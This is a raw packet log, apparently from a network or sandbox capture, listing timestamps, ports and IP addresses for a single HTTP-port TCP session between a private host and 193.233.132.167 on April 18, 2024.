Apr 18, 2024 23:40:10.429110050 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429114103 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429124117 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429126978 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429140091 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429142952 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429161072 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429167986 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429178953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429188967 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429198027 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429200888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429215908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429219961 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429235935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429239988 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429251909 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429254055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429271936 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429275990 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429286003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429291010 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429302931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429308891 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429326057 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429328918 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429343939 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429347992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429361105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429367065 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429367065 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429378986 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429380894 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429397106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429398060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429414988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429415941 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429430008 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429433107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429447889 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429450989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429469109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429471016 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429482937 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429486990 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429505110 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429508924 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429519892 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429522991 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429541111 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429541111 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429558992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429563999 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429569960 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429577112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429594040 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429598093 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429613113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429617882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429627895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429630995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429649115 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429652929 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429663897 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429666042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429683924 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429685116 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429702044 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429704905 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429719925 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429722071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429735899 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429738998 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429758072 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429759026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429773092 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429776907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429795980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429797888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429814100 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429814100 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429831982 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429835081 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429851055 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429851055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429869890 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429872036 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429889917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429893017 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429900885 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429909945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429918051 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429924965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429934025 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429943085 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429960012 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.429964066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429981947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.429997921 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430006027 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430006027 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430017948 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430033922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430037975 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430053949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430057049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430074930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430078030 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430094004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430099964 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430111885 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430118084 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430130005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430130959 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430149078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430151939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430164099 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430167913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430180073 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430187941 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430207014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430212975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430217981 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430222034 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430224895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430232048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430250883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430252075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430263042 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430269003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430286884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430290937 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430305958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430305958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430324078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430327892 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430342913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430347919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430360079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430362940 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430381060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430385113 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430392027 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430399895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430416107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430423021 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430434942 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430437088 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430453062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430457115 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430471897 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430476904 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430490971 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430490971 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430505991 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430509090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430526972 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430531025 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430542946 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430543900 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430561066 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430562019 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430579901 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430582047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430593967 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430597067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430615902 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430619001 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430633068 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430634975 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430649042 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430651903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430669069 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430670023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430686951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430691004 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430699110 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430706024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430721998 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430726051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430738926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430744886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430757046 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430757046 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430774927 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430777073 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430793047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430797100 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430810928 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430811882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430828094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430830002 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430847883 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430849075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430866957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430870056 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430883884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430885077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430902958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430906057 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430929899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430933952 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430948973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430953979 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430969000 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430969954 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.430986881 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.430990934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431008101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431011915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431025982 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431026936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431047916 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431051016 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431058884 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431068897 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431086063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431088924 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431103945 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431103945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431122065 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431123972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431139946 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431139946 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431158066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431159973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431173086 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431175947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431190968 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431194067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431209087 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431211948 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431229115 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431232929 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431246996 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431250095 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431262970 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431288004 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431292057 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431309938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431327105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431334019 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431345940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431349993 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431365967 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431380987 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431382895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431401014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431404114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431420088 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431421041 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431426048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431444883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431448936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431463003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431468010 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431480885 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431498051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431499004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431510925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431518078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431526899 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431538105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431548119 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431555986 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431571007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431571960 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431590080 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431592941 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431613922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431617022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.431633949 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.431653023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.677536964 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.677563906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.677583933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.677602053 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.677629948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681210995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681231022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681267023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681271076 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681288004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681291103 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681313992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681332111 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681337118 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681340933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681363106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681372881 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681390047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681391954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681411028 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681427956 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681430101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681447029 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681451082 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681468010 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681483030 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681489944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681495905 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681513071 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681520939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681531906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681531906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681555033 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681566954 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681669950 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681689024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681706905 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681706905 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681727886 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681730986 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681744099 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681746006 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681768894 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681771040 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681777954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681782007 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681802034 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681819916 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681819916 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681839943 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681843042 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681859016 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681866884 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681880951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681885958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681899071 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681904078 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681917906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681921959 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681937933 CEST	80	49744	193.233.132.167	192.168.2.4
